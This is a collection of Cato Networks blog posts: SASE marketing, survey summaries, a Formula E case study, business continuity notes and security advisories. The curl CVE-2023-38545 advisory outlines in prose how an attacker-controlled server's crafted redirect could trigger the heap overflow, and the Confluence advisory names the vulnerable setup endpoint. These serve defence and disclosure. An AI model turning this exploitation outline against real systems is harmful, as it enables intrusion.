are vulnerable, quite likely to proactively contact customers running vulnerable systems.An example of scanning activity from 144.254.12[.]175, an IP that is part of a /16 range registered to Cisco. Cato deployed IPS signatures to block any attempts to exploit the vulnerable endpoint, protecting all Cato connected sites worldwide from November 1st 2023.Cato also recommends to always avoid placing critical networking infrastructure to be internet facing. In instances when this is a necessity, disabling HTTP access and proper access controls using ACLs to limit the source IPs able to access devices must be implemented. Networking devices are often not thought of as webservers, and due to this do not always receive the same forms of protection e.g., a WAF, however their Web UIs are clearly a powerful administrative interface, and we see time and time again how they are exploited. Networking devices like Cisco’s are typically administered almost entirely using CLI with the Web UI receiving less attention, somewhat underscoring a dichotomy between the importance of the device in the network to how rudimentary of a webserver it may be running. https://www.youtube.com/watch?v=6caLf-1KGFw&list=PLff-wxM3jL7twyfaaYB7jxy6WqDB_17V4

SSE Is a Proven Path for Getting To SASE Modern enterprise complexity is challenging cybersecurity programs. With the widespread adoption of cloud services and remote work, and the broadening distribution of applications and employees away from traditional corporate locations, organizations require a more flexible and scalable approach to network security. SASE technology can help address these issues, making SASE adoption a goal for many organizations worldwide. But adoption paths can vary widely. To get an understanding of those adoption paths, and the challenges along the way, the Enterprise Strategy Group surveyed nearly 400 IT and cybersecurity professionals to learn of their experiences. Each survey respondent is in some way responsible for evaluating, purchasing, or managing network security technology products and services. One popular strategy is to ease into SASE by starting with security service edge (SSE), a building block of SASE which integrates security capabilities directly into the network edge, close to where users or devices connect. Starting with SSE necessitates having an SSE provider with a smooth migration path to SASE. Relying on multiple vendors leads to integration challenges and deployment issues. The survey report, SSE Leads the Way to SASE, outlines the experiences of these security adopters of SSE/SASE. The full report is available free for download. Meanwhile, we’ll summarize the highlights here. Modernization Is Driving SASE Adoption At its core, SASE is about the convergence of network and security technology. But even more so, it’s about modernizing technologies to better meet the needs of today’s distributed enterprise environment. Asked what’s driving their interest in SASE, respondents’ most common response given is supporting network edge transformation (30%). This makes sense, considering the network edge is no longer contained to branch offices. Other leading drivers include improving security effectiveness (29%), reducing security risk (28%), and supporting hybrid work models (27%). There are numerous use cases for SASE The respondents list a wide variety of initial use cases for SASE adoption—everything from modernizing secure application access to supporting zero-trust initiatives. One-quarter of all respondents cite aligning network and security policies for applications and services as their top use case. Nearly as many also cite reducing/eliminating internet-facing attack surface for network and application resources and improving remote user security. The report groups the wide variety of use cases into higher level themes such as improving operational efficiency, supporting flexible work models, and enabling more consistent security. [boxlink link="https://www.catonetworks.com/resources/enterprise-strategy-group-report-sse-leads-the-way-to-sase/"] Enterprise Strategy Group Report: SSE Leads the Way to SASE | Get the Report [/boxlink] Security Teams Face Numerous Challenges One-third of respondents say that an increase in the threat landscape has the biggest impact on their work. This is certainly true as organizations’ attack surfaces now extend from the user device to the cloud. The Internet of Things and users’ unmanaged devices pose significant challenges, as 31% of respondents say that securely connecting IoT devices in our environment is a big issue, while 29% say it’s tough to securely enable the use of unmanaged devices in our environment. 31% of respondents are challenged by having the right level of security knowledge, skills, and expertise to fight the good fight. Overall, 98% of respondents cite a challenge of some sort in terms of securing remote user access to corporate applications and resources. More than one-third of respondents say their top remote access issue is providing secure access for BYOD devices. Others are vexed by the cost, poor security, and limited scalability of VPN infrastructure. What’s more, security professionals must deal with poor or unsatisfactory user experiences when having to connect remotely. Companies Ease into SASE with SSE To tame the security issues, respondents want a modern approach that provides consistent, distributed enforcement for users wherever they are, as well as a zero-trust approach to application access, and centralized policy management. These are all characteristics of SSE, the security component of SASE. Nearly three-quarters of respondents are taking the path of deploying SSE first before further delving into SASE. SSE is not without its challenges, for example, supporting multiple architectures for different types of traffic, and ensuring that user experience is not impacted. Ensuring that traffic is properly inspected via proxy, firewall, or content analysis and in locations as close to the user as possible is critical to a successful implementation. ESG’s report outlines the important attributes security professionals consider when selecting an SSE solution. Top of mind is having hybrid options to connect on-premises and cloud solutions to help transition to fully cloud-delivered over time. Respondents Outline Their Core Security Functions of SSE While organizations intend to eventually have a comprehensive security stack in their SSE, the top functions they are starting with are: secure web gateway (SWG), cloud access security broker (CASB), zero-trust network access (ZTNA), virtual private network (VPN), SSL decryption, firewall-as-a-service (FWaaS), data loss prevention (DLP), digital experience management (DEM), and next-generation firewall (NGFW). Turning SSE into SASE is the Goal While SSE gets companies their security stack, SASE provides the full convergence of security and networking. And although enterprise IT buyers like the idea of multi-sourcing, the reality is that those who have gone the route of multi-vendor SASE have not necessarily done so by choice. A significant number of respondents say they simply feel stuck with being multi-vendor due to lock-in from recent technology purchases, or because of established relationships. Despite the multi-vendor approach some companies will take, many of the specific reasons respondents cite for their interest in SSE would be best addressed by a single-vendor approach. Among them are: improving integration of security controls for more efficient management, ensuring consistent enforcement and protection across distributed environments, and improving integration with data protection for more efficient management and operations—all of which can come about more easily by working with just one SSE/SASE vendor. It eliminates the time and cost of integration among vendor offerings and the “finger pointing” when something goes wrong. Even Companies in Early Stages are Realizing Benefits Most respondents remain in the early stages of their SSE journey. However, early adopters are experiencing success that should help others see the benefits of the architecture. For example, 60% say that cybersecurity has become somewhat or much easier than it was two years ago. Those who have started the SASE journey have realized benefits, too. Nearly two-thirds report reduced costs across either security solutions, network solutions, security operations, or network operations. Similarly, 62% cite efficiency benefits of some kind, such as faster problem resolution, ease of management, faster onboarding, or reduction in complexity. Proof points like these should pique the interest of any organization thinking about SASE and SSE. View the full survey report, SSE Leads the Way to SASE, here.

6 Steps for CIOs To Keep Their IT Staff Happy According to a recent Yerbo survey, 40% of IT professionals are at high risk of burnout. In fact, and perhaps even more alarming, 42% of them plan to quit their company in the next six months. And yet, according to Deloitte, 70% of professionals across all industries feel their employers are not doing enough to prevent or alleviate burnout. CIOs should take this statistic seriously. Otherwise, they could be dealing with the business costs of churn, which include loss of internal knowledge and the cost of replacing employees, both resulting in putting strategic plans on hold. So, what’s a CIO to do? Here are six steps ambitious CIOs like you can take to battle burnout in the IT department and keep their staff happy. This blog post is a short excerpt of the eBook “Keeping Your IT Staff Happy: How CIOs Can Turn the Burnout Tide in 6 Steps”. You can read the entire eBook, with more details and an in-depth action plan, here. Step 1: Let Your Network Do the Heavy Lifting If your IT team is receiving negative feedback from users, they might be feeling stressed out. Poor network performance, security false positives and constant user complaints can leave them feeling dread and anxiety about that next “emergency” phone call. SASE can help ease this pressure. SASE provides reliable global connectivity with optimized network performance, 99.999% uptime and a self-healing architecture that ensures employees can focus on advancing the business, instead of tuning and troubleshooting network performance. With SASE, IT managers can provide a flawless user experience and business continuity, while enjoying a silent support desk. [boxlink link="https://www.catonetworks.com/resources/keep-your-it-staff-happy/"] Keep your IT Staff happy: How CIOs Can Turn the Burnout Tide in 6 Steps | Get the eBook [/boxlink] Step 2: Leverage Automation to Maximize Business Impact IT professionals are often caught in a cycle of mundane activities, leaving them feeling unchallenged. Instead of having IT teams fill the time with endless maintenance and monitoring, CIOs can focus their IT teams on work that achieves larger business objectives. SASE automates repetitive tasks, which frees up IT to focus on strategic business objectives. In addition, the repetitive tasks become less prone to manual errors. Step 3: Eliminate Networking and Security Solution Sprawl with Converged SASE IT teams are swamped with point solutions, each corresponding to a specific, narrow business problem. All of these solutions create a complicated mix of legacy machines, hardware and software; which are difficult for IT to operate, maintain, support and manage.  With SASE, CIOs can transform their network into a single platform with a centralized management application. IT can now gain a holistic view of their architecture, and enjoy easy management and maintenance. Step 4: Ensure Business Continuity and Best-in-class Security with ZTNA Working from anywhere has doubled IT’s workload. They are now operating in reactive mode, attempting to support end-user connectivity and security through VPNs that were not built to support such scale.  SASE is the answer for remote work, enabling users to work seamlessly and securely from anywhere. Eliminating VPN servers removes the need to backhaul traffic and improves end-user performance. Traffic is authenticated with Zero Trust and inspected with advanced threat defense tools to reduce the attack surface. Step 5: Minimize Security Vulnerabilities Through Cloudification and Consolidation Global branches, remote work, and countless integrations between network and security point products have created an expanding attack surface. For IT, this means fighting an uphill battle without the tools they need to win.  A SASE or SSE solution helps IT apply consistent access policies, avoid misconfigurations and achieve regulatory compliance. This also allows them to prevent cyber attacks in real time and helps the organization remain secure and prevent compliance issues. Step 6: Bridge Your Team’s Skillset Gap and Invest in Their Higher Education Skills gaps occur for a number of reasons. Whatever the reason, this can leave your IT team members feeling overwhelmed and professionally unfulfilled, resulting in them leaving the organization. Providing training and professional development helps IT professionals succeed, which in turn, may motivate them to remain in their roles longer, according to a recent LinkedIn survey. These benefits are felt everywhere and by everyone from the IT professional who receives more at-work satisfaction, to CIOs who don’t have to backfill the skills gaps externally. This enables the organization to achieve ambitious plans for growth and business continuity through technology.To read more about how CIOs can tackle IT burnout head on, click here to access the full eBook.

The PoP Smackdown: Cato vs. Competitors…Which Will Dominate Your Network? In the world of professional wrestling, one thing separates the legends from the rest: their presence in the ring. Like in wrestling, the digital world demands a robust and reliable presence for the ultimate victory. Enter Cato Networks, the undisputed champion regarding Secure Access Service Edge (SASE) Points of Presence (PoPs). In this blog post, we'll step into the ring and discover why Cato Networks stands tall as the best SASE PoP provider, ensuring businesses are always secure and connected. SASE providers will talk about and even brag about their points of presence (PoPs) because it is the underlying foundation of their backbone network. But if you look a little closer, you will see that not all PoPs are the same and that the PoP capabilities vary greatly. A point of presence is a data center containing specific components that allow the traffic to be inspected and enforce security. Sounds easy enough. It depends on how those PoPs are designed to function and where the PoPs are located to be of the most value to your organization. Let’s look at the competition—first, the heavyweight hardware contender, Fortinet. Fortinet has twenty-two PoPs globally. Fortinet relies on its customer install base to do the networking and security inspection at every location globally. This adds complexity and multiple caveats to their SASE solution. The added complexity comes from managing numerous products, keeping them up to date with software and patches, and ensuring they are all configured correctly to enable the best possible protection. [boxlink link="https://www.catonetworks.com/resources/take-the-global-backbone-interactive-tour/"] Take the Global Backbone Interactive Tour | Start the Tour [/boxlink] Next, the challenger to the heavyweight title, Palo Alto Networks. They claim many PoPs, but you need to look deeper at where those PoPs are hosted. The vast majority of PANs Prisma Access PoPs are in Google Cloud Platform and some in Amazon Web Services. This adds cost and complexity, making the solution more difficult to manage. Additionally, if you want to use multiple security features, your data will probably have to be forwarded to various PoPs to get full coverage…impacting performance. Since Palo Alto utilizes the public cloud infrastructure, many of the claimed PoPs are just on-ramps to the Google fiber backbone. This is not the best option if you are trying to balance connectivity, security, and cost. Finally, we have Cato Networks. Cato has an impressive 80+ PoPs that are connected via Tier 1 ISPs, creating the world's largest full-mesh SASE-focused private backbone network.  At Cato, all our security capabilities are available from every single PoP worldwide. Since Cato’s PoPs are cloud-native and purpose-built for security and networking functionality, it allows Cato to be highly agile and straightforward to manage…regardless of where your organization has its locations. Speaking of location, Cato has strategically placed our PoPs closest to major business centers all over the globe, including three PoPs in China, and new PoPs are added every quarter based on demand and customer requirements. In the world of wrestling, champions rise to the occasion with unmatched presence and skills. Cato Networks proves itself as the ultimate champion in the realm of SASE with the best PoPs. With a global reach, low latency, battle-tested security, simplified management, cost-efficiency, and always-on connectivity, Cato Networks ensures your business operates securely and efficiently like a wrestling legend in the ring. So, if you are looking for the best SASE PoPs, look no further – Cato Networks is the undisputed champion!

Rocking IT Success: The TAG Heuer Porsche Formula E Team’s City-Hopping Tour with SASE TAG Heuer Porsche Formula E Team Picture this: A rock band embarking on a world tour, rocking stages in different cities with thousands of adoring fans. But wait, behind the scenes, there's an unsung hero—the crew. They're the roadies, the ones responsible for building the infrastructure that supports the band's electrifying performances in each new location. Now, let's take that same analogy and apply it to the TAG Heuer Porsche Formula E Team. We invited Friedemann Kurz, Head of IT at Porsche Motorsport, to a special webinar where we discussed how technology drives these races and IT’s key role. Join us as we dive into the IT requirements faced by this cutting-edge racing team and how SASE (Secure Access Service Edge) rises to the occasion, ensuring a flawless journey from one city to another. Top IT Requirements The TAG Heuer Porsche Formula E Team’s IT team faces a number of networking challenges. Surprisingly (or not) these challenges are not that different from the challenges faced by IT teams across all organizations. From battery energy to braking points, and time lost for Attack Mode, the IT support team at the Porsche test and development center in Weissach and trackside will work in parallel to process approximately 300 GB of data on one Cato Networks dashboard to make time critical decisions. Some of these challenges include: Finding the Right Products The TAG Heuer Porsche Formula E Team’s IT provides services in a high-pressure environment -- and expectations are high. On-track, the IT team is limited in size, so each person needs to be able to operate all IT-related aspects, from network to storage to layers one to five to end-to-end monitoring. This makes choosing the right products and technologies key to their success. Operational Efficiency With so many actions happening simultaneously during the race, IT needs to be able to focus on the issues that matter most. This requires in-depth monitoring that is easy-to-use and the ability to fix issues instantly. Security Security needs to be built-in to the solution to ensure it doesn’t require additional effort from the team. Security is a key success factor, meaning all IT team members focus on security, rather than having a dedicated security person. Easy Deployment The TAG Heuer Porsche Formula E Team operates worldwide, but they only spend a few days at each global site. Every time they arrive at a new city, IT needs to quickly deploy networking and security from scratch (with no existing infrastructure) and pack it up after the race. This whole process only takes a few days, so it has to be efficient and quick. In addition, the rest of the team arrives on site at the same time as the IT team, demanding connectivity immediately. [boxlink link="https://catonetworks.easywebinar.live/registration-simplicity-at-speed"] Simplicity at Speed: How Cato’s SASE Drives the TAG Heuer Porsche Formula E Team’s Racing | Watch the Webinar [/boxlink] IT Capabilities Required to Win Races Why is the IT team a key component in the TAG Heuer Porsche Formula E Team’s success? Here are a few of the networking and security capabilities they rely on: Data Analysis Races are a data-driven and data-intensive event, with large amounts of data being transmitted back and forth across the global network. For example, the TAG Heuer Porsche Formula E Team downloads the car and racetrack data after the races. Then, the engineers in the operations room at the team’s headquarters analyze the data for improving the team’s setup and strategy. Real-Time Communication During the races, the team relies on global real-time communication. It is the most critical way of communication between the driver, the support engineers and the operations room. This means that real-time packages that are transmitted across the WAN need to be optimized to ensure quality of services. Driver in the Loop The TAG Heuer Porsche Formula E Team’s success relies on large-scale mathematical models that use the data to find better racing setups and strategies. Their focus is on the energy use formula, since, ideally, drivers complete the races with zero battery left. Zero battery means it was the most efficient race. The ability to calculate these formulas is based on data that is transferred back and forth between the track and the headquarters. Ransomware Protection The sports industry has been targeted by cyber attackers in the past with ransomware and other types of attacks. To protect their ability to make decisions during races, the TAG Heuer Porsche Formula E Team needs a security solution that protects them and their ability to access their data from ransomware attacks. Since data is the cornerstone of their strategy and key for their decision-making, safeguarding access to the data is top priority. How Cato’s SASE Changed the Game To answer these needs, the TAG Heuer Porsche Formula E Team partnered with Cato Networks. Cato Networks was chosen as the team’s official SASE partner. Cato Networks helps transmit large volumes of data in real-time from 20 global sites. Before working with Cato Networks, the TAG Heuer Porsche Formula E Team used VPNs. This introduced security, configuration and maintenance challenges. Now, maintenance and effort have significantly decreased. One IT member on-site can oversee, manage and monitor the entire network during the races independently and flexibly. In addition, Cato delivered: Fast implementation - from 0 to 100% in two weeks. Simplified and efficient operations. Quick response times. Personal and open-minded support. To hear more from Friedemann Kurz, Head of IT at Porsche Motorsport, watch the webinar here.

Networking and Security Teams Are Converging, Says SASE Adoption Survey  Converging networking with security is fundamental to creating a robust and resilient IT infrastructure that can withstand the evolving cyber threat landscape. It not only protects sensitive data and resources but also contributes to the overall success and trustworthiness of an organization.   And just as technologies are converging, networking and security teams are increasingly working together. In our new 2023 SASE Adoption Survey, nearly a quarter (24%) of respondents indicate security and networking are being handled by one team.    For those with separate teams, management is focusing on improving collaboration between networking and security teams. In some cases (8% of respondents), this takes the form of creating one networking and security group. In most cases, (74% of respondents) indicate management has an explicit strategy that teams must either work together or have shared processes.  The Advantages of Converging the Networking and Security Teams  When network engineers and security professionals work together, they share knowledge and insights, leading to improved efficiency and effectiveness in addressing network security challenges.  By integrating networking and security functions, companies can gain better visibility into network traffic and security events. Networking teams possess in-depth knowledge of network infrastructure, which security researchers often lack. By providing security teams with network information, organizations can hunt and remediate threats more effectively.  [boxlink link="https://www.catonetworks.com/resources/unveiling-insights-2023-sase-adoption-survey/"] Unveiling Insights: 2023 SASE Adoption Survey | Get the Report [/boxlink] Closer collaboration enables quicker and more effective incident resolution, reducing the impact of cyber threats on business operations. Furthermore, by working together, the organization can optimize the performance of network resources while maintaining robust security measures, providing a seamless user experience without compromising protection.   There are other benefits, too, like streamlined operations, faster incident response, a holistic approach to risk management, and cost savings. All these advantages of a converged team help organizations attain a stronger security posture.  There’s a Preference for One Team, One Platform  Bringing teams together also enables the organization to implement security measures during network design and configuration, ensuring that security is an inherent part of the network architecture from the beginning.    Many organizations today (68%) use different platforms for security and networking management and operations. However, most (76%) believe that using just one platform for both purposes would improve collaboration between the networking and security teams. More than half also want a single data repository for networking and security events.  The preference for security and networking to work together extends to SASE selection. Which team leads on selecting a SASE solution—the networking or the security team? In most cases, it’s both.   When it comes to forming a SASE selection committee, about half (47% of respondents) say it’s a security team project with the networking team involved as necessary. Another 39% flip that script, with the networking team leading the project and involving the security team to vet the vendors.   As the teams come together, it makes great sense they would prefer to use a single, unified platform for their respective roles. Most respondents (62%) say having a single pane of glass for managing security and networking is an important SASE purchasing factor. More than half (54%) also want a single data repository for networking and security events.  Security and Networking Team Convergence Calls for Platform Convergence  Regardless, an effective SASE platform needs to accommodate the needs of all organizational structures whether teams are distinct or together. Essential in that role is rich role-based access control (RBAC) that allows granular access to various aspects of the SASE platform. In this way, IT organizations can create roles that reflect their unique structure – whether teams are converged or distinct. (Cato recently introduced RBAC+ for this reason. You can learn more here.)  As for SASE adoption, a single vendor approach was the most popular (63% of respondents). Post deployment would those who deployed SASE stay with the technology? The vast major (79% of respondents) say, “Yes.”   Additional finding from the survey shed light on   Future plans for remote and hybrid work   Current rate of SASE adoption  How to ensure security and performance for ALL applications  ..and more.

Business Continuity at Difficult Times of War in Israel As reported in global news, on October 7th, 2023, the Hamas terror organization has launched a brutal attack on Israeli cities and villages, with thousands of civilian casualties, forcing Israel to enter a state of war with Hamas-controlled Gaza. While Cato Networks is a global company with 850+ employees in over 30 countries around the world, a significant part of our business and technical operations is based out of Tel Aviv, Israel. The following blog details the actions we are taking based on our Business Continuity Procedures (BCP), adjusted to the current scenario, to ensure the continuity of our services that support our customers’ and partners’ critical network and security infrastructure. Business Continuity by Design Our SASE service was built from the ground up as a fully distributed cloud-native solution. One of the key benefits of our solution architecture is that it does not have a single point of failure. Our operations teams have built and trained AI engines to identify signals of performance or availability degradation in the service and respond to them autonomously. This is part of our day-to-day cloud operations, and as a result, downtime in one or more of our PoPs does not disrupt our customers’ operations. Our SASE Cloud high-availability and self-healing have already been put to the test before, and proved itself. Our stock of Sockets has always been globally distributed across warehouses in North America, Europe and APJ. All our warehouses are fully stocked, and no shortage or long lead times is expected. In fact, we have been able to overcome global supply chain challenges before. 24x7x365 Support Our support organization is designed to always be there for our 2000+ enterprise customers, where and when they need us. We are committed to ensure that support availability to our customers remains intact even during adverse conditions like an armed conflict or a pandemic. We operate a global support organization from the United States, Canada, Colombia, United Kingdom, Northern Ireland, The Netherlands, Israel, Poland, Ukraine, Macedonia, Singapore, Philippines and Japan. All teams work in concert to deliver a 24/7/365 follow-the-sun service, making sure no support tickets are left unattended. Customers who require support should continue to contact us through our standard support channels, and will continue to receive the support levels they expect and deserve. BCP Activation in Israel The Cato SASE service is ISO 27001 and SOC2 certified as well as additional, global standards. A mandatory part of such certifications is to have Business Continuity Procedures (BCP) in place, practice them periodically, and improve or fine-tune as needed. Our BCP was not only tested synthetically, but was successfully activated during the COVID-19 epidemic. In March 2020, we moved our entire staff to work remotely. Using the ZTNA capabilities of Cato SASE Cloud, the transition was smooth, and no customers experienced any impact on the service availability, performance, and support. We have now re-activated the same BCP for our staff in Israel. Our technical organizations are able to securely connect remotely to our engineering, support, and DevOps systems and continue their work safely from their homes. Beyond BCP In the current situation, we are taking additional steps to further our increase our resiliency. October 8th, 2023: We have extended shifts of our support teams in APJ to reinforce the teams in EMEA. We have assigned T3 support engineers to T1 and T2 teams to ensure our support responsiveness continues to meet and exceed customers' expectations. October 10th, 2023: We have temporarily relocated select executives and engineers to Athens, Greece. We now have HQ and engineering resources available to support our global staff and cloud operations even in extreme cases of long power or internet outages, which aren’t expected at this time. The Way Forward Israel had faced difficult times and armed conflicts in the past, and always prevailed. We stand behind our Catonians in Israel and their families and care for them during this conflict. Our success is built on the commitment of our people to excellence in all facets of the business. This commitment remains firm as we continue our mission to provide a rock-solid secure foundation for our customers’ most critical business infrastructure.

Cato’s Analysis and Protection for cURL SOCKS5 Heap Buffer Overflow (CVE-2023-38545)

Cato’s Analysis and Protection for cURL SOCKS5 Heap Buffer Overflow (CVE-2023-38545) TL;DR This vulnerability appears to be less severe than initially anticipated. Cato customers and infrastructure are secure. Last week the original author and long-time lead developer of cURL Daniel Stenberg published a “teaser” for a HIGH severity vulnerability in the ubiquitous libcurl development library and the curl command-line utility. A week of anticipation, multiple heinous crimes against humanity and a declaration of war later, the vulnerability was disclosed publicly. The initial announcement caused what in hindsight can be categorized as somewhat undue panic in the security and sysadmin worlds. But given how widespread the usage of libcurl and curl is around the world (at Cato we use widely as well, more on that below), and to quote from the libcurl website – “We estimate that every internet connected human on the globe uses (lib)curl, knowingly or not, every day”, the initial concern was more than understandable. The libcurl library and the curl utility are used for interacting with URLs and for various multiprotocol file transfers, they are bundled into all the major Linux/UNIX distributions. Likely for that reason the project maintainers opted to keep the vulnerability disclosure private, and shared very little details to deter attackers, only letting the OS distributions maintainers know in advance while patched version are made ready in the respective package management systems for when it is disclosed. [boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink] The vulnerability in detail The code containing the buffer overflow vulnerability is part of curl’s support for the SOCKS5 proxy protocol.SOCKS5 is a simple and well-known (while not very well-used nowadays) protocol for setting up an organizational proxy or quite often for anonymizing traffic, like it is used in the Tor network. The vulnerability is in libcurl hostname resolution which is either delegated to the target proxy server or done by libcurl itself. If a hostname larger than 255 bytes is given, then it turns to local resolution and only passed the resolved address. Due to the bug, and in a slow enough handshake (“slow enough” being typical server latency according to the post), the Buffer Overflow can be triggered, and the entire “too-long-hostname” being copied to the buffer instead of the resolved result. There are multiple conditions that need to be met for the vulnerability to be exploited, specifically: In applications that do not set “CURLOPT_BUFFERSIZE” or set it below 65541. Important to note that the curl utility itself sets it to 100kB and so is not vulnerable unless changed specifically in the command line. CURLOPT_PROXYTYPE set to type CURLPROXY_SOCKS5_HOSTNAME CURLOPT_PROXY or CURLOPT_PRE_PROXY set to use the scheme socks5h:// A possible way to exploit the buffer overflow would likely require the attacker to control a webserver which is contacted by the libcurl client over SOCKS5, could make it return a crafted redirect (HTTP 30x response) which will contain a Location header with a long enough hostname to trigger the buffer overflow. Cato’s usage of (lib)curl At Cato we of course utilize both libcurl and curl itself for multiple purposes: curl and libcurl based applications are used extensively in our global infrastructure in scripts and in-house applications. Cato’s SDP Client also implements libcurl and uses it for multiple functions. We do not use SOCKS5, and Cato’s code and infrastructure are not vulnerable to any form of this CVE. Cato’s analysis response to the CVE Based on the CVE details and the public POC shared along with the disclosure, Cato’s Research Labs researchers believe that chances for this to be exploited successfully are medium – low. Nevertheless we have of course added IPS signatures for this CVE, providing Cato connected sites worldwide the peace and quiet through virtual patching, blocking attempts for an exploit with a detect-to-protect time of 1 day and 3 hours for all users and sites connected to Cato worldwide, and Opt-In Protection already available after 14 hours.Cato’s recommendation is as always to patch impacted servers and applications, affected versions being from libcurl 7.69.0 to and including 8.3.0. In addition, it is possible to mitigate by identifying usage as already stated of the parameters that can lead to the vulnerability being triggered - CURLOPT_PROXYTYPE, CURLOPT_PROXY, CURLOPT_PRE_PROXY.

Cato Protects Against Atlassian Confluence Server Exploits (CVE-2023-22515) A new critical vulnerability has been disclosed by Atlassian in a security advisory published on October 4th 2023 in its on-premise Confluence Data Center and Server product. A privilege escalation vulnerability through which attackers may exploit a vulnerable endpoint in internet-facing Confluence instances to create unauthorized Confluence administrator accounts and gain access to the Confluence instance. At the time of writing a CVSS score was not assigned to the vulnerability but it can be expected to be very high (9 – 10) due to the fact it is remotely exploitable and allows full access to the server once exploited. [boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink] Cato’s Response   There are no publicly known proofs-of-concept (POC) of the exploit available, but it has been confirmed by Atlassian that they have been made aware of the exploit by a “handful of customers where external attackers may have exploited a previously unknown vulnerability” so it can be assumed with a high certainty that it is already being exploited. Cato’s Research Labs identified possible exploitation attempts of the vulnerable endpoint (“/setup/”) in some of our customers immediately after the security advisory was released, which were successfully blocked without any user intervention needed. The attempts were blocked by our IPS signatures aimed at identifying and blocking URL scanners even before a signature specific to this CVE was available. The speed with which using the very little information available from the advisory was already integrated into online scanners gives a strong indication of how much of a high-value target Confluence servers are, and is concerning given the large numbers of publicly facing Confluence servers that exist. Following the disclosure, Cato deployed signatures blocking any attempts to interact with the vulnerable “/setup/” endpoint, with a detect-to-protect time of 1 day and 23 hours for all users and sites connected to Cato worldwide, and Opt-In Protection already available in under 24 hours. Furthermore, Cato’s recommendation is to restrict access to Confluence servers’ administration endpoints only from authorized IPs, preferably from within the network and when not possible that it is only accessible from hosts protected by Cato, whether behind a Cato Socket or remote users running the Cato Client. Cato’s Research Labs continues to monitor the CVE for additional information, and we will update our signatures as more information becomes available or a POC is made public and exposes additional information.

Essential steps to evaluate the Risk Profile of a Secure Services Edge (SSE) Provider Introduction Businesses have increasingly turned to Secure Services Edge (SSE) to secure their digital assets and data, as they undergo digital transformation. SSE secures the network edge to ensure data privacy and protect against cyber threats, using a cloud-delivered SaaS infrastructure from a third-party cybersecurity provider. SSE has brought numerous advantages to companies who needed to strengthen their cyber security after undergoing a digital transformation.  However, it has introduced new risks that traditional risk management methods can fail to identify at the initial onboarding stage. When companies consider a third party to run their critical infrastructure, it is important to seek functionality and performance, but it is essential to identify and manage risks.  Would you let someone you barely know race your shiny Porsche along a winding clifftop road, without first assessing his driving skills and safety record? [boxlink link="https://www.catonetworks.com/resources/ensuring-success-with-sse-rfp-rfi-template/"] Ensuring Success with SSE: Your Helpful SSE RFP/RFI Template | Download the Template [/boxlink] When assessing a Secure Services Edge (SSE) vendor, it is therefore essential to consider the risk profile alongside the capabilities. In this post, we will guide you through the key steps to evaluate SSE vendors, this time not based on their features, but on their risk profile. Why does this matter? Gartner defines a third-party risk “miss” as an incident resulting in at least one of the outcomes in Figure 1. Its 2022 survey of Executive Risk Committee members shows how these third-party risk “misses” are hurting organizations: 84% of respondents said that they had resulted in operations disruption at least once in the last 12 months. Courtesy of Gartner Essential steps to evaluate the Risk Profile of a potential SSE provider Step 1: Assess Reputation and Experience Start your evaluation by researching the provider’s reputation and experience in the cybersecurity industry. Look for established vendors with a proven track record of successfully securing organizations from cyber threats. Client testimonials and case studies can offer valuable insights into their effectiveness in handling diverse security challenges. Step 2: Certifications and Compliance Check if the cybersecurity vendor holds relevant certifications, such as ISO 27001, NIST Cybersecurity Framework, SOC 2, or others.  These demonstrate their commitment to maintaining high standards of information security. Compliance with industry-specific regulations (e.g., GDPR, HIPAA) is equally important, especially if your organization deals with sensitive data. Step 3: Incident Response and Support Ask about the vendor's incident response capabilities and the support they provide during and after a cyber incident. A reliable vendor should have a well-defined incident response plan and a team of skilled professionals ready to assist you in the event of a security breach. Step 4: Third-party Audits and Assessments Look for vendors who regularly undergo third-party security audits and assessments. These independent evaluations provide an objective view of the vendor's security practices and can validate their claims regarding their InfoSec capabilities. Step 5: Data Protection Measures Ensure that the vendor employs robust data protection measures, including encryption, access controls, and data backup protocols. This is vital if your organization handles sensitive customer information or intellectual property. Step 6: Transparency and Communication A trustworthy vendor will be transparent about their security practices, policies, and potential limitations. Evaluate how well they communicate their security measures and how responsive they are to your queries during the evaluation process. Step 7: Research Security Incidents and Breaches Conduct research on any past security incidents or data breaches that the vendor might have experienced. Analyze how they handled the situation, what lessons they learned, and the improvements they made to prevent similar incidents in the future. Gartner has recently released a Third Party Risk platform to help organizations navigate through the risk profiles of Third Party providers, including of course, cybersecurity vendors. The Gartner definition of Third-Party Risk is: “the risk an organization is exposed to by its external third parties such as vendors, contractors, and suppliers who may have access to company data, customer data, or other privileged information.” The information provided by vendors on Gartner's Third-Party Risk Platform is primarily self-disclosed. While Gartner relies on vendors to accurately report their details, they also offer the option for vendors to upload attestations of third-party audits as evidence to support their claims. This additional layer of validation helps increase the reliability and credibility of the information presented. However, it is ultimately the responsibility of users to perform their due diligence when evaluating vendor information. Conclusion Selecting the right SSE provider is a critical decision that can significantly impact your organization's security posture. By evaluating vendors based on their Risk profile, not just their features, and leveraging the Gartner Third Party Risk Platform, you can make an informed choice and gain a reliable cybersecurity provider. Remember: investing time and effort in the evaluation process now, can prevent potential security headaches in the future, ensuring your organization remains protected from evolving cyber threats and compliant to local regulations.

The Cato Journey – Bringing SASE Transformation to the Largest Enterprises  

One of the observations I sometimes get from analysts, investors, and prospects is that Cato is a mid-market company. They imply that we are creating...
The Cato Journey – Bringing SASE Transformation to the Largest Enterprises   One of the observations I sometimes get from analysts, investors, and prospects is that Cato is a mid-market company. They imply that we are creating solutions that are simple and affordable, but don’t necessarily meet stringent requirements in scalability, availability, and functionality.   Here is the bottom line: Cato is an enterprise software company. Our mission is to deliver the Cato SASE experience to organizations of all sizes, support mission critical operations at any scale, and deliver best-in-class networking and security capabilities.   The reason Cato is perceived as a mid-market company is a combination of our mission statement which targets all organizations, our converged cloud platform that challenges legacy blueprints full of point solutions, our go-to-market strategy that started in the mid-market and went upmarket, and the IT dynamics in large enterprises. I will look at these in turn.   The Cato Mission: World-class Networking and Security for Everyone   Providing world class networking and security capabilities to customers of all sizes is Cato’s reason-for-being. Cato enables any organization to maintain top notch infrastructure by making the Cato SASE Cloud its enterprise networking and security platform. Our customers often struggled to optimize and secure their legacy infrastructure where gaps, single points of failure, and vulnerabilities create significant risks of breach and business disruption.  Cato SASE Cloud is a globally distributed cloud service that is self-healing, self-maintaining, and self-optimizing and such benefits aren’t limited to resource constrained mid-market organizations. In fact, most businesses will benefit from a platform that is autonomous and always optimized. It isn’t just the platform, though. Cato’s people, processes, and capabilities that are focused on cloud service availability, 